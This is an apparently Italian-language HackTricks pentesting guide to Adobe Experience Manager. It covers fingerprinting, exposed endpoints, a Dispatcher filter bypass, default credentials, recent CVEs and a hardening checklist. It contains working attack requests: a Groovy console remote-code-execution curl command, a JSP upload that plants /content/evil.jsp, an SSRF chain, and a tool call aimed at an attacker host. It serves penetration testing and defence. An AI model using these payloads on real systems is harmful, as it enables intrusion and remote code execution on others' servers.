AEM (Adobe Experience Manager) Pentesting

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Adobe Experience Manager (AEM, parte di Adobe Experience Cloud) è un CMS aziendale che funziona su Apache Sling/Felix (OSGi) e un Java Content Repository (JCR). Dal punto di vista di un attaccante, le istanze AEM espongono molto spesso endpoint di sviluppo pericolosi, regole del Dispatcher deboli, credenziali predefinite e un lungo elenco di CVE che vengono corretti ogni trimestre.

La checklist qui sotto si concentra sulla superficie di attacco (unauth) raggiungibile esternamente che continua a presentarsi in impegni reali (2022-2025).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Altri indicatori rapidi:

  • /etc.clientlibs/ percorso statico presente (restituisce JS/CSS).
  • /libs/granite/core/content/login.html pagina di accesso con il banner “Adobe Experience Manager”.
  • </script><!--/* CQ */--> commento in fondo all’HTML.

2. Endpoint non autenticati ad alto valore

PercorsoCosa ottieniNote
/.json, /.1.jsonNodi JCR tramite DefaultGetServletSpesso bloccato, ma Dispatcher bypass (vedi sotto) funziona.
/bin/querybuilder.json?path=/API QueryBuilderLeak dell’albero delle pagine, percorsi interni, nomi utente.
/system/console/status-*, /system/console/bundlesConsole OSGi/Felix403 per impostazione predefinita; se esposto e credenziali trovate ⇒ RCE di caricamento bundle.
/crx/packmgr/index.jspPackage ManagerConsente pacchetti di contenuto autenticati → caricamento di payload JSP.
/etc/groovyconsole/**AEM Groovy ConsoleSe esposto → esecuzione arbitraria di Groovy / Java.
/libs/cq/AuditlogSearchServlet.jsonLog di auditDivulgazione di informazioni.
/libs/cq/ui/content/dumplibs.htmlDump ClientLibsVettore XSS.

Trucco di bypass del Dispatcher

La maggior parte dei siti di produzione si trova dietro il Dispatcher (reverse-proxy). Le sue regole di filtro possono essere bypassate aggiungendo un’estensione statica consentita dopo un punto e virgola o una nuova riga codificata:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Una singola richiesta come sopra rivela frequentemente nodi del profilo utente con indirizzi email. P-T Partners ha pubblicato buone indicazioni su questa vulnerabilità. 【】


3. Configurazioni errate comuni (ancora attive nel 2025)

  1. Servlet POST anonimoPOST /.json con :operation=import consente di piantare nuovi nodi JCR. Bloccare *.json POST nel Dispatcher risolve il problema. 【】
  2. Profili utente leggibili da tutti – ACL predefinito concede jcr:read su /home/users/**/profile/* a tutti.
  3. Credenziali predefiniteadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter abilitato ⇒ XSS riflesso tramite ?debug=layout (CVE-2016-7882, ancora trovato su installazioni legacy 6.4).
  5. Groovy Console esposta – esecuzione di codice remoto inviando uno script Groovy:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. Vulnerabilità recenti (cadenza del service pack)

TrimestreCVEAffettiImpatto
Dic 2024CVE-2024-437116.5.21 e precedentiValidazione dell’input non corretta → Esecuzione di codice arbitrario (richiede autenticazione a bassa privilegio). 【】
Dic 2024CVE-2024-43724/266.5.21 e precedentiDOM / XSS memorizzato in Move Page Wizard. 【】
Dic 2023CVE-2023-48452/68≤ 6.5.18XSS basato su DOM tramite URL creato. 【】
Dic 2022CVE-2022-30683≤ 6.5.13Difetto di design crittografico → decrittazione segreta (richiede credenziali a bassa privilegio). 【】

Controlla sempre il bollettino APSB corrispondente al service pack del cliente e richiedi l’ultima 6.5.22 o Cloud Service 2024.11.


5. Frammenti di sfruttamento

5.1 RCE tramite bypass del dispatcher + upload JSP

Se la scrittura anonima è possibile:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Richiedi /content/evil.jsp – il JSP viene eseguito con l’utente del processo AEM.

5.2 SSRF a RCE (storico < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py di aem-hacker automatizza l’intera catena. 【】


6. Strumenti

  • aem-hacker – script di enumerazione tipo coltellino svizzero, supporta bypass del dispatcher, rilevamento SSRF, controlli delle credenziali predefinite e altro.
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **Content Brute-force** – richiedi ricorsivamente `/_jcr_content.(json|html)` per scoprire componenti nascosti.
* **osgi-infect** – carica un bundle OSGi malevolo tramite `/system/console/bundles` se le credenziali sono disponibili.

---

## 7. Lista di controllo per il rafforzamento (per le raccomandazioni del tuo rapporto)

1. Mantieni l'istanza sulla **versione cumulativa di servizio più recente** (a partire da luglio 2025: 6.5.22).
2. Rimuovi ruota gli account predefiniti; applica SSO/SAML.
3. Rendi più rigorosi i **filtri del Dispatcher** – nega `;`, nuove righe codificate e `*.json` o `*.querybuilder.json` per utenti anonimi.
4. Disabilita o proteggi le console (`/system/console`, `/crx/*`, `/etc/groovyconsole`) con liste di autorizzazione IP.
5. Applica il pacchetto *Anonymous Permission Hardening* fornito da Adobe.

## Riferimenti

* Adobe Security Bulletin APSB24-69 – “Aggiornamenti di sicurezza per Adobe Experience Manager (dic 2024)”.
* 0ang3el – strumento aem-hacker (GitHub).
> [!TIP]
> Impara e pratica il hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara e pratica il hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Impara e pratica il hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporta HackTricks</summary>
>
> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
>
> </details>